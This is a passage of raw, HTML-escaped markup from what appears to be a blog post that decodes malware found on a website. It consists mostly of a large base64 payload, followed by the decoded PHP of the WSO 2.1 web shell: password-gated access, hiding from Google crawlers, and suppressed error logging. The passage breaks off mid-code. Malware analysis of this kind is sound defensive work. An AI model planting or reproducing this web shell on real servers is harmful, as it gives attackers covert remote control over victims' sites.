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&#39;&lt;/span&gt;)));&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;The decoder gave me the following output, &lt;/p&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px&quot; id=&quot;codeSnippetWrapper&quot;&gt;&lt;br /&gt;&lt;div style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot; id=&quot;codeSnippet&quot;&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum1&quot;&gt;   1:&lt;/span&gt; ?&amp;gt;&amp;lt;?php&lt;span style=&quot;color: #008000&quot;&gt;/* WSO 2.1 (Web Shell by oRb) */&lt;/span&gt;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum2&quot;&gt;   2:&lt;/span&gt; $auth_pass = &lt;span style=&quot;color: #006080&quot;&gt;&quot;161498ff7b638f5e5c0d5e32fab5470b&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum3&quot;&gt;   3:&lt;/span&gt; $color = &lt;span style=&quot;color: #006080&quot;&gt;&quot;#df5&quot;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum4&quot;&gt;   4:&lt;/span&gt; $default_action = &lt;span style=&quot;color: #006080&quot;&gt;&#39;FilesMan&#39;&lt;/span&gt;;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum5&quot;&gt;   5:&lt;/span&gt; @define(&lt;span style=&quot;color: #006080&quot;&gt;&#39;SELF_PATH&#39;&lt;/span&gt;, __FILE__);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum6&quot;&gt;   6:&lt;/span&gt; &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;( strpos($_SERVER[&lt;span style=&quot;color: #006080&quot;&gt;&#39;HTTP_USER_AGENT&#39;&lt;/span&gt;],&lt;span style=&quot;color: #006080&quot;&gt;&#39;Google&#39;&lt;/span&gt;) !== &lt;span style=&quot;color: #0000ff&quot;&gt;false&lt;/span&gt; ) &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum7&quot;&gt;   7:&lt;/span&gt; {    header(&lt;span style=&quot;color: #006080&quot;&gt;&#39;HTTP/1.0 404 Not Found&#39;&lt;/span&gt;);    &lt;span style=&quot;color: #0000ff&quot;&gt;exit&lt;/span&gt;;}@session_start();@error_reporting(0);@ini_set(&lt;span style=&quot;color: #006080&quot;&gt;&#39;error_log&#39;&lt;/span&gt;,NULL);@ini_set(&lt;span style=&quot;color: #006080&quot;&gt;&#39;log_errors&#39;&lt;/span&gt;,0);@ini_set(&lt;span style=&quot;color: #006080&quot;&gt;&#39;max_execution_time&#39;&lt;/span&gt;,0);@set_time_limit(0);@set_magic_quotes_runtime(0);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum8&quot;&gt;   8:&lt;/span&gt; @define(&lt;span style=&quot;color: #006080&quot;&gt;&#39;VERSION&#39;&lt;/span&gt;, &lt;span style=&quot;color: #006080&quot;&gt;&#39;2.1&#39;&lt;/span&gt;);&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum9&quot;&gt;   9:&lt;/span&gt; &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;( get_magic_quotes_gpc() ) {    &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; stripslashes_array($&lt;span style=&quot;color: #0000ff&quot;&gt;array&lt;/span&gt;) {        &lt;span style=&quot;color: #0000ff&quot;&gt;return&lt;/span&gt; is_array($&lt;span style=&quot;color: #0000ff&quot;&gt;array&lt;/span&gt;) ? array_map(&lt;span style=&quot;color: #006080&quot;&gt;&#39;stripslashes_array&#39;&lt;/span&gt;, $&lt;span style=&quot;color: #0000ff&quot;&gt;array&lt;/span&gt;) : stripslashes($&lt;span style=&quot;color: #0000ff&quot;&gt;array&lt;/span&gt;);    }    $_POST = stripslashes_array($_POST);}&lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; printLogin() {    ?&amp;gt;    &amp;lt;center&amp;gt;    &amp;lt;form method=post&amp;gt;    Password: &amp;lt;input type=password name=pass&amp;gt;&amp;lt;input type=submit value=&lt;span style=&quot;color: #006080&quot;&gt;&#39;&amp;gt;&amp;gt;&#39;&lt;/span&gt;&amp;gt;    &amp;lt;/form&amp;gt;&amp;lt;/center&amp;gt;    &amp;lt;?php    &lt;span style=&quot;color: #0000ff&quot;&gt;exit&lt;/span&gt;;}&lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;( !&lt;span style=&quot;color: #0000ff&quot;&gt;isset&lt;/span&gt;( $_SESSION[md5($_SERVER[&lt;span style=&quot;color: #006080&quot;&gt;&#39;HTTP_HOST&#39;&lt;/span&gt;])] ))    &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;( &lt;span style=&quot;color: #0000ff&quot;&gt;empty&lt;/span&gt;( $auth_pass ) ||        ( &lt;span style=&quot;color: #0000ff&quot;&gt;isset&lt;/span&gt;( $_POST[&lt;span style=&quot;color: #006080&quot;&gt;&#39;pass&#39;&lt;/span&gt;] ) &amp;amp;&amp;amp; ( md5($_POST[&lt;span style=&quot;color: #006080&quot;&gt;&#39;pass&#39;&lt;/span&gt;]) == $auth_pass ) ) )        $_SESSION[md5($_SERVER[&lt;span style=&quot;color: #006080&quot;&gt;&#39;HTTP_HOST&#39;&lt;/span&gt;])] = &lt;span style=&quot;color: #0000ff&quot;&gt;true&lt;/span&gt;;    &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt;        printLogin();&lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;( strtolower( substr(PHP_OS,0,3) ) == &lt;span style=&quot;color: #006080&quot;&gt;&quot;win&quot;&lt;/span&gt; )    $os = &lt;span style=&quot;color: #006080&quot;&gt;&#39;win&#39;&lt;/span&gt;;&lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt;    $os = &lt;span style=&quot;color: #006080&quot;&gt;&#39;nix&#39;&lt;/span&gt;;$safe_mode = @ini_get(&lt;span style=&quot;color: #006080&quot;&gt;&#39;safe_mode&#39;&lt;/span&gt;);$disable_functions = @ini_get(&lt;span style=&quot;color: #006080&quot;&gt;&#39;disable_functions&#39;&lt;/span&gt;);$home_cwd = @getcwd();&lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;( &lt;span style=&quot;color: #0000ff&quot;&gt;isset&lt;/span&gt;( $_POST[&lt;span style=&quot;color: 